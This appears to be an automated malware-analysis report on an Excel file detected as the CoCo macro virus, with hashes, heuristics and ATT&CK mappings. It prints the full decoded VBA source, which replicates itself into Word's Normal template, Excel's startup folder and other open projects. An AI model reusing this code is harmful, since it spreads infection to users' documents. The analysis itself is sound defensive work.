Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6611316fdd1a56cf…

MALICIOUS

Office (OLE)

18.5 KB Created: 1997-01-14 01:50:29 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: ecd786b48bcd6fa1d8c81619fbf81ab2 SHA-1: 01e836b5745a351d92478eea4808399aadd2879e SHA-256: 6611316fdd1a56cff880a1f49d4931223805f6c3b05791eac30139ee95a72c04
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The VBA macros within this Excel file contain logic to inject code into Microsoft Word's Normal template and Excel's startup path, indicating an attempt to establish persistence. The script uses CreateObject and GetObject calls, common for manipulating other Office applications. The ClamAV detection of 'Doc.Trojan.CoCo-1' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.CoCo-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CoCo-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2645 bytes
SHA-256: 042f559ff2e88fcd221f5e6aa1007baa6ddfcc09d583b0ed32d6c82a028712fb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - CoCo
Private Declare Function FindWindowA Lib "user32" (ByVal strClassName As String, ByVal lpWindowName As Any) As Long: Dim λ As String
Private Sub Document_Close()
On Error Resume Next
λ = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 70): ι Application
If FindWindowA("XLMain", 0&) Then ι GetObject(, "Excel.Application"): Exit Sub
Set ο = CreateObject("Excel.Application")
If UCase(Dir(ο.StartupPath + "\Book1.")) <> "BOOK1" Then
Set θ = ο.Workbooks.Add
θ.VBProject.VBComponents(1).CodeModule.InsertLines 1, λ
θ.SaveAs ο.StartupPath & "\Book1."
θ.Quit: End If
End Sub
Private Sub Workbook_Deactivate()
On Error Resume Next
λ = ThisWorkbook.VBProject.VBComponents(1).CodeModule.Lines(1, 70): ι Application
If FindWindowA("OpusApp", 0&) Then ι GetObject(, "Word.Application"): Exit Sub
Set ο = CreateObject("Word.Application")
If ο.NormalTemplate.VBProject.Description <> "CoCo" Then
ο.NormalTemplate.VBProject.Description = "CoCo"
With ο.NormalTemplate.VBProject.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines: .AddFromString λ: End With
ο.Quit: End If
End Sub
Private Sub ι(υ As Object)
For Each μ In υ.VBE.VBProjects
If μ.Protection <> 1 And μ.Description <> "CoCo" Then
μ.Description = "CoCo": With μ.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines: .AddFromString λ
End With: End If: Next
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.